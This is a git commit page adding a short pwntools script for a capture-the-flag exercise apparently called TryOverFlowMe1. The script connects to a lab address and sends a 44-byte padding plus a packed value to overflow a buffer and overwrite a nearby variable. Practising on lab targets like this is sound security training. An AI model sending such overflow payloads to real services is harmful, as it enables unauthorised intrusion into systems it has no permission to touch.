initial commit
This commit is contained in:
16
CTF/TryPwnMeOne/TryOverFlowMe1/exploit.py
Normal file
16
CTF/TryPwnMeOne/TryOverFlowMe1/exploit.py
Normal file
@@ -0,0 +1,16 @@
|
||||
#! /bin/python3
|
||||
|
||||
from pwn import *
|
||||
|
||||
context.log_level = 'error'
|
||||
|
||||
r = remote("10.10.111.44", "9003")
|
||||
|
||||
payload = b"A" * 44
|
||||
payload += p64(1)
|
||||
|
||||
r.recvuntil(b"Please go ahead and leave a comment :\n")
|
||||
r.sendline(payload)
|
||||
|
||||
print(r.recvline().decode())
|
||||
r.close()
|
||||
Reference in New Issue
Block a user